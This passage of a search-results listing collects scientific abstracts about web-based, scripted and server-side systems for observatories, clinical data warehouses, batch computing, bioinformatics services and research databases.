physician review, physicist plan checks, treating therapists, and peer review in chart rounds. Conclusion: A method was developed to maintain cohesive information throughout the planning process within one integrated system by using a custom treatment planning management application that interfaces directly with the TPS. Future work includes quantifying the improvements in quality, safety and efficiency that are possible with the routine clinical use of this system. Supported in part by NIH-P01-CA-059827.« less

Recent advances in the Lesser Antilles observatories Part 2 : WebObs - an integrated web-based system for monitoring and networks management

NASA Astrophysics Data System (ADS)

Beauducel, François; Bosson, Alexis; Randriamora, Frédéric; Anténor-Habazac, Christian; Lemarchand, Arnaud; Saurel, Jean-Marie; Nercessian, Alexandre; Bouin, Marie-Paule; de Chabalier, Jean-Bernard; Clouard, Valérie

2010-05-01

Seismological and Volcanological observatories have common needs and often common practical problems for multi disciplinary data monitoring applications. In fact, access to integrated data in real-time and estimation of measurements uncertainties are keys for an efficient interpretation, but instruments variety, heterogeneity of data sampling and acquisition systems lead to difficulties that may hinder crisis management. In Guadeloupe observatory, we have developed in the last years an operational system that attempts to answer the questions in the context of a pluri-instrumental observatory. Based on a single computer server, open source scripts (Matlab, Perl, Bash, Nagios) and a Web interface, the system proposes: an extended database for networks management, stations and sensors (maps, station file with log history, technical characteristics, meta-data, photos and associated documents); a web-form interfaces for manual data input/editing and export (like geochemical analysis, some of the deformation measurements, ...); routine data processing with dedicated automatic scripts for each technique, production of validated data outputs, static graphs on preset moving time intervals, and possible e-mail alarms; computers, acquisition processes, stations and individual sensors status automatic check with simple criteria (files update and signal quality), displayed as synthetic pages for technical control. In the special case of seismology, WebObs includes a digital stripchart multichannel continuous seismogram associated with EarthWorm acquisition chain (see companion paper Part 1), event classification database, location scripts, automatic shakemaps and regional catalog with associated hypocenter maps accessed through a user request form. This system leads to a real-time Internet access for integrated monitoring and becomes a strong support for scientists and technicians exchange, and is widely open to interdisciplinary real-time modeling. It has been set up at Martinique observatory and installation is planned this year at Montserrat Volcanological Observatory. It also in production at the geomagnetic observatory of Addis Abeba in Ethiopia.

nStudy: A System for Researching Information Problem Solving

ERIC Educational Resources Information Center

Winne, Philip H.; Nesbit, John C.; Popowich, Fred

2017-01-01

A bottleneck in gathering big data about learning is instrumentation designed to record data about processes students use to learn and information on which those processes operate. The software system nStudy fills this gap. nStudy is an extension to the Chrome web browser plus a server side database for logged trace data plus peripheral modules…

Map-IT! A Web-Based GIS Tool for Watershed Science Education.

ERIC Educational Resources Information Center

Curtis, David H.; Hewes, Christopher M.; Lossau, Matthew J.

This paper describes the development of a prototypic, Web-accessible GIS solution for K-12 science education and citizen-based watershed monitoring. The server side consists of ArcView IMS running on an NT workstation. The client is built around MapCafe. The client interface, which runs through a standard Web browser, supports standard MapCafe…

C-A1-03: Considerations in the Design and Use of an Oracle-based Virtual Data Warehouse

PubMed Central

Bredfeldt, Christine; McFarland, Lela

2011-01-01

Background/Aims The amount of clinical data available for research is growing exponentially. As it grows, increasing the efficiency of both data storage and data access becomes critical. Relational database management systems (rDBMS) such as Oracle are ideal solutions for managing longitudinal clinical data because they support large-scale data storage and highly efficient data retrieval. In addition, they can greatly simplify the management of large data warehouses, including security management and regular data refreshes. However, the HMORN Virtual Data Warehouse (VDW) was originally designed based on SAS datasets, and this design choice has a number of implications for both the design and use of an Oracle-based VDW. From a design standpoint, VDW tables are designed as flat SAS datasets, which do not take full advantage of Oracle indexing capabilities. From a data retrieval standpoint, standard VDW SAS scripts do not take advantage of SAS pass-through SQL capabilities to enable Oracle to perform the processing required to narrow datasets to the population of interest. Methods Beginning in 2009, the research department at Kaiser Permanente in the Mid-Atlantic States (KPMA) has developed an Oracle-based VDW according to the HMORN v3 specifications. In order to take advantage of the strengths of relational databases, KPMA introduced an interface layer to the VDW data, using views to provide access to standardized VDW variables. In addition, KPMA has developed SAS programs that provide access to SQL pass-through processing for first-pass data extraction into SAS VDW datasets for processing by standard VDW scripts. Results We discuss both the design and performance considerations specific to the KPMA Oracle-based VDW. We benchmarked performance of the Oracle-based VDW using both standard VDW scripts and an initial pre-processing layer to evaluate speed and accuracy of data return. Conclusions Adapting the VDW for deployment in an Oracle environment required minor changes to the underlying structure of the data. Further modifications of the underlying data structure would lead to performance enhancements. Maximally efficient data access for standard VDW scripts requires an extra step that involves restricting the data to the population of interest at the data server level prior to standard processing.

Evaluation of Methods for Multidisciplinary Design Optimization (MDO). Part 2

NASA Technical Reports Server (NTRS)

Kodiyalam, Srinivas; Yuan, Charles; Sobieski, Jaroslaw (Technical Monitor)

2000-01-01

A new MDO method, BLISS, and two different variants of the method, BLISS/RS and BLISS/S, have been implemented using iSIGHT's scripting language and evaluated in this report on multidisciplinary problems. All of these methods are based on decomposing a modular system optimization system into several subtasks optimization, that may be executed concurrently, and the system optimization that coordinates the subtasks optimization. The BLISS method and its variants are well suited for exploiting the concurrent processing capabilities in a multiprocessor machine. Several steps, including the local sensitivity analysis, local optimization, response surfaces construction and updates are all ideally suited for concurrent processing. Needless to mention, such algorithms that can effectively exploit the concurrent processing capabilities of the compute servers will be a key requirement for solving large-scale industrial design problems, such as the automotive vehicle problem detailed in Section 3.4.

Webmail: an Automated Web Publishing System

NASA Astrophysics Data System (ADS)

Bell, David

A system for publishing frequently updated information to the World Wide Web will be described. Many documents now hosted by the NOAO Web server require timely posting and frequent updates, but need only minor changes in markup or are in a standard format requiring only conversion to HTML. These include information from outside the organization, such as electronic bulletins, and a number of internal reports, both human and machine generated. Webmail uses procmail and Perl scripts to process incoming email messages in a variety of ways. This processing may include wrapping or conversion to HTML, posting to the Web or internal newsgroups, updating search indices or links on related pages, and sending email notification of the new pages to interested parties. The Webmail system has been in use at NOAO since early 1997 and has steadily grown to include fourteen recipes that together handle about fifty messages per week.

The Creative task Creator: a tool for the generation of customized, Web-based creativity tasks.

PubMed

Pretz, Jean E; Link, John A

2008-11-01

This article presents a Web-based tool for the creation of divergent-thinking and open-ended creativity tasks. A Java program generates HTML forms with PHP scripting that run an Alternate Uses Task and/or open-ended response items. Researchers may specify their own instructions, objects, and time limits, or use default settings. Participants can also be prompted to select their best responses to the Alternate Uses Task (Silvia et al., 2008). Minimal programming knowledge is required. The program runs on any server, and responses are recorded in a standard MySQL database. Responses can be scored using the consensual assessment technique (Amabile, 1996) or Torrance's (1998) traditional scoring method. Adoption of this Web-based tool should facilitate creativity research across cultures and access to eminent creators. The Creative Task Creator may be downloaded from the Psychonomic Society's Archive of Norms, Stimuli, and Data, www.psychonomic.org/archive.

HYDRA Hyperspectral Data Research Application Tom Rink and Tom Whittaker

NASA Astrophysics Data System (ADS)

Rink, T.; Whittaker, T.

2005-12-01

HYDRA is a freely available, easy to install tool for visualization and analysis of large local or remote hyper/multi-spectral datasets. HYDRA is implemented on top of the open source VisAD Java library via Jython - the Java implementation of the user friendly Python programming language. VisAD provides data integration, through its generalized data model, user-display interaction and display rendering. Jython has an easy to read, concise, scripting-like, syntax which eases software development. HYDRA allows data sharing of large datasets through its support of the OpenDAP and OpenADDE server-client protocols. The users can explore and interrogate data, and subset in physical and/or spectral space to isolate key areas of interest for further analysis without having to download an entire dataset. It also has an extensible data input architecture to recognize new instruments and understand different local file formats, currently NetCDF and HDF4 are supported.

Interactive DataBase of Cosmic Ray Anisotropy (DB A10)

NASA Astrophysics Data System (ADS)

Asipenka, A.S.; Belov, A.V.; Eroshenko, E.F.; Klepach, E.G.; Oleneva, V.A.; Yake, V.G.

Data on the hourly means of cosmic ray density and anisotropy derived by the GSM method over the 1957-2006 are introduced in to MySQL database. This format allowed an access to data both in local and in the Internet. Using the realized combination of script-language Php and My SQL database the Internet project was created on the access for users data on the CR anisotropy in different formats (http://cr20.izmiran.ru/AnisotropyCR/main.htm/). Usage the sheaf Php and MySQL provides fast receiving data even in the Internet since a request and following process of data are accomplished on the project server. Usage of MySQL basis for the storing data on cosmic ray variations give a possibility to construct requests of different structures, extends the variety of data reflection, makes it possible the conformity data to other systems and usage them in other projects.

ATLAS Live: Collaborative Information Streams

NASA Astrophysics Data System (ADS)

Goldfarb, Steven; ATLAS Collaboration

2011-12-01

I report on a pilot project launched in 2010 focusing on facilitating communication and information exchange within the ATLAS Collaboration, through the combination of digital signage software and webcasting. The project, called ATLAS Live, implements video streams of information, ranging from detailed detector and data status to educational and outreach material. The content, including text, images, video and audio, is collected, visualised and scheduled using digital signage software. The system is robust and flexible, utilizing scripts to input data from remote sources, such as the CERN Document Server, Indico, or any available URL, and to integrate these sources into professional-quality streams, including text scrolling, transition effects, inter and intra-screen divisibility. Information is published via the encoding and webcasting of standard video streams, viewable on all common platforms, using a web browser or other common video tool. Authorisation is enforced at the level of the streaming and at the web portals, using the CERN SSO system.

Towards Image Documentation of Grave Coverings and Epitaphs for Exhibition Purposes

NASA Astrophysics Data System (ADS)

Pomaska, G.; Dementiev, N.

2015-08-01

Epitaphs and memorials as immovable items in sacred spaces provide with their inscriptions valuable documents of history. Today not only photography or photos are suitable as presentation material for cultural assets in museums. Computer vision and photogrammetry provide methods for recording, 3D modelling, rendering under artificial light conditions as well as further options for analysis and investigation of artistry. For exhibition purposes epitaphs have been recorded by the structure from motion method. A comparison of different kinds of SFM software distributions could be worked out. The suitability of open source software in the mesh processing chain from modelling up to displaying on computer monitors should be answered. Raspberry Pi, a computer in SoC technology works as a media server under Linux applying Python scripts. Will the little computer meet the requirements for a museum and is the handling comfortable enough for staff and visitors? This contribution reports about the case study.

Web-based UMLS concept retrieval by automatic text scanning: a comparison of two methods.

PubMed

Brandt, C; Nadkarni, P

2001-01-01

The Web is increasingly the medium of choice for multi-user application program delivery. Yet selection of an appropriate programming environment for rapid prototyping, code portability, and maintainability remain issues. We summarize our experience on the conversion of a LISP Web application, Search/SR to a new, functionally identical application, Search/SR-ASP using a relational database and active server pages (ASP) technology. Our results indicate that provision of easy access to database engines and external objects is almost essential for a development environment to be considered viable for rapid and robust application delivery. While LISP itself is a robust language, its use in Web applications may be hard to justify given that current vendor implementations do not provide such functionality. Alternative, currently available scripting environments for Web development appear to have most of LISP's advantages and few of its disadvantages.

Web-client based distributed generalization and geoprocessing

USGS Publications Warehouse

Wolf, E.B.; Howe, K.

2009-01-01

Generalization and geoprocessing operations on geospatial information were once the domain of complex software running on high-performance workstations. Currently, these computationally intensive processes are the domain of desktop applications. Recent efforts have been made to move geoprocessing operations server-side in a distributed, web accessible environment. This paper initiates research into portable client-side generalization and geoprocessing operations as part of a larger effort in user-centered design for the US Geological Survey's The National Map. An implementation of the Ramer-Douglas-Peucker (RDP) line simplification algorithm was created in the open source OpenLayers geoweb client. This algorithm implementation was benchmarked using differing data structures and browser platforms. The implementation and results of the benchmarks are discussed in the general context of client-side geoprocessing. (Abstract).

Testing SLURM open source batch system for a Tierl/Tier2 HEP computing facility

NASA Astrophysics Data System (ADS)

Donvito, Giacinto; Salomoni, Davide; Italiano, Alessandro

2014-06-01

In this work the testing activities that were carried on to verify if the SLURM batch system could be used as the production batch system of a typical Tier1/Tier2 HEP computing center are shown. SLURM (Simple Linux Utility for Resource Management) is an Open Source batch system developed mainly by the Lawrence Livermore National Laboratory, SchedMD, Linux NetworX, Hewlett-Packard, and Groupe Bull. Testing was focused both on verifying the functionalities of the batch system and the performance that SLURM is able to offer. We first describe our initial set of requirements. Functionally, we started configuring SLURM so that it replicates all the scheduling policies already used in production in the computing centers involved in the test, i.e. INFN-Bari and the INFN-Tier1 at CNAF, Bologna. Currently, the INFN-Tier1 is using IBM LSF (Load Sharing Facility), while INFN-Bari, an LHC Tier2 for both CMS and Alice, is using Torque as resource manager and MAUI as scheduler. We show how we configured SLURM in order to enable several scheduling functionalities such as Hierarchical FairShare, Quality of Service, user-based and group-based priority, limits on the number of jobs per user/group/queue, job age scheduling, job size scheduling, and scheduling of consumable resources. We then show how different job typologies, like serial, MPI, multi-thread, whole-node and interactive jobs can be managed. Tests on the use of ACLs on queues or in general other resources are then described. A peculiar SLURM feature we also verified is triggers on event, useful to configure specific actions on each possible event in the batch system. We also tested highly available configurations for the master node. This feature is of paramount importance since a mandatory requirement in our scenarios is to have a working farm cluster even in case of hardware failure of the server(s) hosting the batch system. Among our requirements there is also the possibility to deal with pre-execution and post-execution scripts, and controlled handling of the failure of such scripts. This feature is heavily used, for example, at the INFN-Tier1 in order to check the health status of a worker node before execution of each job. Pre- and post-execution scripts are also important to let WNoDeS, the IaaS Cloud solution developed at INFN, use SLURM as its resource manager. WNoDeS has already been supporting the LSF and Torque batch systems for some time; in this work we show the work done so that WNoDeS supports SLURM as well. Finally, we show several performance tests that we carried on to verify SLURM scalability and reliability, detailing scalability tests both in terms of managed nodes and of queued jobs.

Web GIS in practice VIII: HTML5 and the canvas element for interactive online mapping

PubMed Central

2010-01-01

HTML5 is being developed as the next major revision of HTML (Hypertext Markup Language), the core markup language of the World Wide Web. It aims at reducing the need for proprietary, plug-in-based rich Internet application (RIA) technologies such as Adobe Flash. The canvas element is part of HTML5 and is used to draw graphics using scripting (e.g., JavaScript). This paper introduces Cartagen, an open-source, vector-based, client-side framework for rendering plug-in-free, offline-capable, interactive maps in native HTML5 on a wide range of Web browsers and mobile phones. Cartagen was developed at MIT Media Lab's Design Ecology group. Potential applications of the technology as an enabler for participatory online mapping include mapping real-time air pollution, citizen reporting, and disaster response, among many other possibilities. PMID:20199681

Application of large-scale computing infrastructure for diverse environmental research applications using GC3Pie

NASA Astrophysics Data System (ADS)

Maffioletti, Sergio; Dawes, Nicholas; Bavay, Mathias; Sarni, Sofiane; Lehning, Michael

2013-04-01

The Swiss Experiment platform (SwissEx: http://www.swiss-experiment.ch) provides a distributed storage and processing infrastructure for environmental research experiments. The aim of the second phase project (the Open Support Platform for Environmental Research, OSPER, 2012-2015) is to develop the existing infrastructure to provide scientists with an improved workflow. This improved workflow will include pre-defined, documented and connected processing routines. A large-scale computing and data facility is required to provide reliable and scalable access to data for analysis, and it is desirable that such an infrastructure should be free of traditional data handling methods. Such an infrastructure has been developed using the cloud-based part of the Swiss national infrastructure SMSCG (http://www.smscg.ch) and Academic Cloud. The infrastructure under construction supports two main usage models: 1) Ad-hoc data analysis scripts: These scripts are simple processing scripts, written by the environmental researchers themselves, which can be applied to large data sets via the high power infrastructure. Examples of this type of script are spatial statistical analysis scripts (R-based scripts), mostly computed on raw meteorological and/or soil moisture data. These provide processed output in the form of a grid, a plot, or a kml. 2) Complex models: A more intense data analysis pipeline centered (initially) around the physical process model, Alpine3D, and the MeteoIO plugin; depending on the data set, this may require a tightly coupled infrastructure. SMSCG already supports Alpine3D executions as both regular grid jobs and as virtual software appliances. A dedicated appliance with the Alpine3D specific libraries has been created and made available through the SMSCG infrastructure. The analysis pipelines are activated and supervised by simple control scripts that, depending on the data fetched from the meteorological stations, launch new instances of the Alpine3D appliance, execute location-based subroutines at each grid point and store the results back into the central repository for post-processing. An optional extension of this infrastructure will be to provide a 'ring buffer'-type database infrastructure, such that model results (e.g. test runs made to check parameter dependency or for development) can be visualised and downloaded after completion without submitting them to a permanent storage infrastructure. Data organization Data collected from sensors are archived and classified in distributed sites connected with an open-source software middleware, GSN. Publicly available data are available through common web services and via a cloud storage server (based on Swift). Collocation of the data and processing in the cloud would eventually eliminate data transfer requirements. Execution control logic Execution of the data analysis pipelines (for both the R-based analysis and the Alpine3D simulations) has been implemented using the GC3Pie framework developed by UZH. (https://code.google.com/p/gc3pie/). This allows large-scale, fault-tolerant execution of the pipelines to be described in terms of software appliances. GC3Pie also allows supervision of the execution of large campaigns of appliances as a single simulation. This poster will present the fundamental architectural components of the data analysis pipelines together with initial experimental results.

Java-based browsing, visualization and processing of heterogeneous medical data from remote repositories.

PubMed

Masseroli, M; Bonacina, S; Pinciroli, F

2004-01-01

The actual development of distributed information technologies and Java programming enables employing them also in the medical arena to support the retrieval, integration and evaluation of heterogeneous data and multimodal images in a web browser environment. With this aim, we used them to implement a client-server architecture based on software agents. The client side is a Java applet running in a web browser and providing a friendly medical user interface to browse and visualize different patient and medical test data, integrating them properly. The server side manages secure connections and queries to heterogeneous remote databases and file systems containing patient personal and clinical data. Based on the Java Advanced Imaging API, processing and analysis tools were developed to support the evaluation of remotely retrieved bioimages through the quantification of their features in different regions of interest. The Java platform-independence allows the centralized management of the implemented prototype and its deployment to each site where an intranet or internet connection is available. Giving healthcare providers effective support for comprehensively browsing, visualizing and evaluating medical images and records located in different remote repositories, the developed prototype can represent an important aid in providing more efficient diagnoses and medical treatments.

Building a Snow Data Management System using Open Source Software (and IDL)

NASA Astrophysics Data System (ADS)

Goodale, C. E.; Mattmann, C. A.; Ramirez, P.; Hart, A. F.; Painter, T.; Zimdars, P. A.; Bryant, A.; Brodzik, M.; Skiles, M.; Seidel, F. C.; Rittger, K. E.

2012-12-01

At NASA's Jet Propulsion Laboratory free and open source software is used everyday to support a wide range of projects, from planetary to climate to research and development. In this abstract I will discuss the key role that open source software has played in building a robust science data processing pipeline for snow hydrology research, and how the system is also able to leverage programs written in IDL, making JPL's Snow Data System a hybrid of open source and proprietary software. Main Points: - The Design of the Snow Data System (illustrate how the collection of sub-systems are combined to create a complete data processing pipeline) - Discuss the Challenges of moving from a single algorithm on a laptop, to running 100's of parallel algorithms on a cluster of servers (lesson's learned) - Code changes - Software license related challenges - Storage Requirements - System Evolution (from data archiving, to data processing, to data on a map, to near-real-time products and maps) - Road map for the next 6 months (including how easily we re-used the snowDS code base to support the Airborne Snow Observatory Mission) Software in Use and their Software Licenses: IDL - Used for pre and post processing of data. Licensed under a proprietary software license held by Excelis. Apache OODT - Used for data management and workflow processing. Licensed under the Apache License Version 2. GDAL - Geospatial Data processing library used for data re-projection currently. Licensed under the X/MIT license. GeoServer - WMS Server. Licensed under the General Public License Version 2.0 Leaflet.js - Javascript web mapping library. Licensed under the Berkeley Software Distribution License. Python - Glue code and miscellaneous data processing support. Licensed under the Python Software Foundation License. Perl - Script wrapper for running the SCAG algorithm. Licensed under the General Public License Version 3. PHP - Front-end web application programming. Licensed under the PHP License Version 3.01

A Magnetic Petrology Database for Satellite Magnetic Anomaly Interpretations

NASA Astrophysics Data System (ADS)

Nazarova, K.; Wasilewski, P.; Didenko, A.; Genshaft, Y.; Pashkevich, I.

2002-05-01

A Magnetic Petrology Database (MPDB) is now being compiled at NASA/Goddard Space Flight Center in cooperation with Russian and Ukrainian Institutions. The purpose of this database is to provide the geomagnetic community with a comprehensive and user-friendly method of accessing magnetic petrology data via Internet for more realistic interpretation of satellite magnetic anomalies. Magnetic Petrology Data had been accumulated in NASA/Goddard Space Flight Center, United Institute of Physics of the Earth (Russia) and Institute of Geophysics (Ukraine) over several decades and now consists of many thousands of records of data in our archives. The MPDB was, and continues to be in big demand especially since recent launching in near Earth orbit of the mini-constellation of three satellites - Oersted (in 1999), Champ (in 2000), and SAC-C (in 2000) which will provide lithospheric magnetic maps with better spatial and amplitude resolution (about 1 nT). The MPDB is focused on lower crustal and upper mantle rocks and will include data on mantle xenoliths, serpentinized ultramafic rocks, granulites, iron quartzites and rocks from Archean-Proterozoic metamorphic sequences from all around the world. A substantial amount of data is coming from the area of unique Kursk Magnetic Anomaly and Kola Deep Borehole (which recovered 12 km of continental crust). A prototype MPDB can be found on the Geodynamics Branch web server of Goddard Space Flight Center at http://core2.gsfc.nasa.gov/terr_mag/magnpetr.html. The MPDB employs a searchable relational design and consists of 7 interrelated tables. The schema of database is shown at http://core2.gsfc.nasa.gov/terr_mag/doc.html. MySQL database server was utilized to implement MPDB. The SQL (Structured Query Language) is used to query the database. To present the results of queries on WEB and for WEB programming we utilized PHP scripting language and CGI scripts. The prototype MPDB is designed to search database by major satellite magnetic anomaly, tectonic structure, geographical location, rock type, magnetic properties, chemistry and reference, see http://core2.gsfc.nasa.gov/terr_mag/query1.html. The output of database is HTML structured table, text file, and downloadable file. This database will be very useful for studies of lithospheric satellite magnetic anomalies on the Earth and other terrestrial planets.

Mobile object retrieval in server-based image databases

NASA Astrophysics Data System (ADS)

Manger, D.; Pagel, F.; Widak, H.

2013-05-01

The increasing number of mobile phones equipped with powerful cameras leads to huge collections of user-generated images. To utilize the information of the images on site, image retrieval systems are becoming more and more popular to search for similar objects in an own image database. As the computational performance and the memory capacity of mobile devices are constantly increasing, this search can often be performed on the device itself. This is feasible, for example, if the images are represented with global image features or if the search is done using EXIF or textual metadata. However, for larger image databases, if multiple users are meant to contribute to a growing image database or if powerful content-based image retrieval methods with local features are required, a server-based image retrieval backend is needed. In this work, we present a content-based image retrieval system with a client server architecture working with local features. On the server side, the scalability to large image databases is addressed with the popular bag-of-word model with state-of-the-art extensions. The client end of the system focuses on a lightweight user interface presenting the most similar images of the database highlighting the visual information which is common with the query image. Additionally, new images can be added to the database making it a powerful and interactive tool for mobile contentbased image retrieval.

A Virtual Reality Exposure Therapy Application for Iraq War Post Traumatic Stress Disorder

DTIC Science & Technology

2006-01-01

denial of social problems. Prior to the availability of VR therapy applications, the existing standard of care for PTSD was imaginal exposure...The application is built on ICT’s FlatWorld Simulation Control Architecture (FSCA) [13]. The FSCA enables a network -centric system of client displays...client-side interaction despite potential network delays. FCSA scripting is based on the Lua programming language [14] and provides facilities for real

A RAND Analysis Tool for Intelligence, Surveillance, and Reconnaissance: The Collections Operations Model

DTIC Science & Technology

2008-01-01

appropriate; scan cycle, emission interval, or emission probability; frequency bands; relative angular size of 2 Carl Rhodes, Jeff Hagen, and Mark...choices based on its own perceptions. An agent has autonomy. 2 In this report, “behaviors” are individual scripts , programs, instructions, or decision...relative angular size of main and side lobes (for directional signals); and the effective radiated power of each radiative lobe. With these parameters and

Large scale and cloud-based multi-model analytics experiments on climate change data in the Earth System Grid Federation

NASA Astrophysics Data System (ADS)

Fiore, Sandro; Płóciennik, Marcin; Doutriaux, Charles; Blanquer, Ignacio; Barbera, Roberto; Donvito, Giacinto; Williams, Dean N.; Anantharaj, Valentine; Salomoni, Davide D.; Aloisio, Giovanni

2017-04-01

In many scientific domains such as climate, data is often n-dimensional and requires tools that support specialized data types and primitives to be properly stored, accessed, analysed and visualized. Moreover, new challenges arise in large-scale scenarios and eco-systems where petabytes (PB) of data can be available and data can be distributed and/or replicated, such as the Earth System Grid Federation (ESGF) serving the Coupled Model Intercomparison Project, Phase 5 (CMIP5) experiment, providing access to 2.5PB of data for the Intergovernmental Panel on Climate Change (IPCC) Fifth Assessment Report (AR5). A case study on climate models intercomparison data analysis addressing several classes of multi-model experiments is being implemented in the context of the EU H2020 INDIGO-DataCloud project. Such experiments require the availability of large amount of data (multi-terabyte order) related to the output of several climate models simulations as well as the exploitation of scientific data management tools for large-scale data analytics. More specifically, the talk discusses in detail a use case on precipitation trend analysis in terms of requirements, architectural design solution, and infrastructural implementation. The experiment has been tested and validated on CMIP5 datasets, in the context of a large scale distributed testbed across EU and US involving three ESGF sites (LLNL, ORNL, and CMCC) and one central orchestrator site (PSNC). The general "environment" of the case study relates to: (i) multi-model data analysis inter-comparison challenges; (ii) addressed on CMIP5 data; and (iii) which are made available through the IS-ENES/ESGF infrastructure. The added value of the solution proposed in the INDIGO-DataCloud project are summarized in the following: (i) it implements a different paradigm (from client- to server-side); (ii) it intrinsically reduces data movement; (iii) it makes lightweight the end-user setup; (iv) it fosters re-usability (of data, final/intermediate products, workflows, sessions, etc.) since everything is managed on the server-side; (v) it complements, extends and interoperates with the ESGF stack; (vi) it provides a "tool" for scientists to run multi-model experiments, and finally; and (vii) it can drastically reduce the time-to-solution for these experiments from weeks to hours. At the time the contribution is being written, the proposed testbed represents the first concrete implementation of a distributed multi-model experiment in the ESGF/CMIP context joining server-side and parallel processing, end-to-end workflow management and cloud computing. As opposed to the current scenario based on search & discovery, data download, and client-based data analysis, the INDIGO-DataCloud architectural solution described in this contribution addresses the scientific computing & analytics requirements by providing a paradigm shift based on server-side and high performance big data frameworks jointly with two-level workflow management systems realized at the PaaS level via a cloud infrastructure.

BrainIACS: a system for web-based medical image processing

NASA Astrophysics Data System (ADS)

Kishore, Bhaskar; Bazin, Pierre-Louis; Pham, Dzung L.

2009-02-01

We describe BrainIACS, a web-based medical image processing system that permits and facilitates algorithm developers to quickly create extensible user interfaces for their algorithms. Designed to address the challenges faced by algorithm developers in providing user-friendly graphical interfaces, BrainIACS is completely implemented using freely available, open-source software. The system, which is based on a client-server architecture, utilizes an AJAX front-end written using the Google Web Toolkit (GWT) and Java Servlets running on Apache Tomcat as its back-end. To enable developers to quickly and simply create user interfaces for configuring their algorithms, the interfaces are described using XML and are parsed by our system to create the corresponding user interface elements. Most of the commonly found elements such as check boxes, drop down lists, input boxes, radio buttons, tab panels and group boxes are supported. Some elements such as the input box support input validation. Changes to the user interface such as addition and deletion of elements are performed by editing the XML file or by using the system's user interface creator. In addition to user interface generation, the system also provides its own interfaces for data transfer, previewing of input and output files, and algorithm queuing. As the system is programmed using Java (and finally Java-script after compilation of the front-end code), it is platform independent with the only requirements being that a Servlet implementation be available and that the processing algorithms can execute on the server platform.

CBD: a biomarker database for colorectal cancer.

PubMed

Zhang, Xueli; Sun, Xiao-Feng; Cao, Yang; Ye, Benchen; Peng, Qiliang; Liu, Xingyun; Shen, Bairong; Zhang, Hong

2018-01-01

Colorectal cancer (CRC) biomarker database (CBD) was established based on 870 identified CRC biomarkers and their relevant information from 1115 original articles in PubMed published from 1986 to 2017. In this version of the CBD, CRC biomarker data were collected, sorted, displayed and analysed. The CBD with the credible contents as a powerful and time-saving tool provide more comprehensive and accurate information for further CRC biomarker research. The CBD was constructed under MySQL server. HTML, PHP and JavaScript languages have been used to implement the web interface. The Apache was selected as HTTP server. All of these web operations were implemented under the Windows system. The CBD could provide to users the multiple individual biomarker information and categorized into the biological category, source and application of biomarkers; the experiment methods, results, authors and publication resources; the research region, the average age of cohort, gender, race, the number of tumours, tumour location and stage. We only collect data from the articles with clear and credible results to prove the biomarkers are useful in the diagnosis, treatment or prognosis of CRC. The CBD can also provide a professional platform to researchers who are interested in CRC research to communicate, exchange their research ideas and further design high-quality research in CRC. They can submit their new findings to our database via the submission page and communicate with us in the CBD.Database URL: http://sysbio.suda.edu.cn/CBD/.

Interoperability In The New Planetary Science Archive (PSA)

NASA Astrophysics Data System (ADS)

Rios, C.; Barbarisi, I.; Docasal, R.; Macfarlane, A. J.; Gonzalez, J.; Arviset, C.; Grotheer, E.; Besse, S.; Martinez, S.; Heather, D.; De Marchi, G.; Lim, T.; Fraga, D.; Barthelemy, M.

2015-12-01

As the world becomes increasingly interconnected, there is a greater need to provide interoperability with software and applications that are commonly being used globally. For this purpose, the development of the new Planetary Science Archive (PSA), by the European Space Astronomy Centre (ESAC) Science Data Centre (ESDC), is focused on building a modern science archive that takes into account internationally recognised standards in order to provide access to the archive through tools from third parties, for example by the NASA Planetary Data System (PDS), the VESPA project from the Virtual Observatory of Paris as well as other international institutions. The protocols and standards currently being supported by the new Planetary Science Archive at this time are the Planetary Data Access Protocol (PDAP), the EuroPlanet-Table Access Protocol (EPN-TAP) and Open Geospatial Consortium (OGC) standards. The architecture of the PSA consists of a Geoserver (an open-source map server), the goal of which is to support use cases such as the distribution of search results, sharing and processing data through a OGC Web Feature Service (WFS) and a Web Map Service (WMS). This server also allows the retrieval of requested information in several standard output formats like Keyhole Markup Language (KML), Geography Markup Language (GML), shapefile, JavaScript Object Notation (JSON) and Comma Separated Values (CSV), among others. The provision of these various output formats enables end-users to be able to transfer retrieved data into popular applications such as Google Mars and NASA World Wind.

JABAWS 2.2 distributed web services for Bioinformatics: protein disorder, conservation and RNA secondary structure.

PubMed

Troshin, Peter V; Procter, James B; Sherstnev, Alexander; Barton, Daniel L; Madeira, Fábio; Barton, Geoffrey J

2018-06-01

JABAWS 2.2 is a computational framework that simplifies the deployment of web services for Bioinformatics. In addition to the five multiple sequence alignment (MSA) algorithms in JABAWS 1.0, JABAWS 2.2 includes three additional MSA programs (Clustal Omega, MSAprobs, GLprobs), four protein disorder prediction methods (DisEMBL, IUPred, Ronn, GlobPlot), 18 measures of protein conservation as implemented in AACon, and RNA secondary structure prediction by the RNAalifold program. JABAWS 2.2 can be deployed on a variety of in-house or hosted systems. JABAWS 2.2 web services may be accessed from the Jalview multiple sequence analysis workbench (Version 2.8 and later), as well as directly via the JABAWS command line interface (CLI) client. JABAWS 2.2 can be deployed on a local virtual server as a Virtual Appliance (VA) or simply as a Web Application Archive (WAR) for private use. Improvements in JABAWS 2.2 also include simplified installation and a range of utility tools for usage statistics collection, and web services querying and monitoring. The JABAWS CLI client has been updated to support all the new services and allow integration of JABAWS 2.2 services into conventional scripts. A public JABAWS 2 server has been in production since December 2011 and served over 800 000 analyses for users worldwide. JABAWS 2.2 is made freely available under the Apache 2 license and can be obtained from: http://www.compbio.dundee.ac.uk/jabaws. g.j.barton@dundee.ac.uk.

CBD: a biomarker database for colorectal cancer

PubMed Central

Zhang, Xueli; Sun, Xiao-Feng; Ye, Benchen; Peng, Qiliang; Liu, Xingyun; Shen, Bairong; Zhang, Hong

2018-01-01

Abstract Colorectal cancer (CRC) biomarker database (CBD) was established based on 870 identified CRC biomarkers and their relevant information from 1115 original articles in PubMed published from 1986 to 2017. In this version of the CBD, CRC biomarker data were collected, sorted, displayed and analysed. The CBD with the credible contents as a powerful and time-saving tool provide more comprehensive and accurate information for further CRC biomarker research. The CBD was constructed under MySQL server. HTML, PHP and JavaScript languages have been used to implement the web interface. The Apache was selected as HTTP server. All of these web operations were implemented under the Windows system. The CBD could provide to users the multiple individual biomarker information and categorized into the biological category, source and application of biomarkers; the experiment methods, results, authors and publication resources; the research region, the average age of cohort, gender, race, the number of tumours, tumour location and stage. We only collect data from the articles with clear and credible results to prove the biomarkers are useful in the diagnosis, treatment or prognosis of CRC. The CBD can also provide a professional platform to researchers who are interested in CRC research to communicate, exchange their research ideas and further design high-quality research in CRC. They can submit their new findings to our database via the submission page and communicate with us in the CBD. Database URL: http://sysbio.suda.edu.cn/CBD/ PMID:29846545

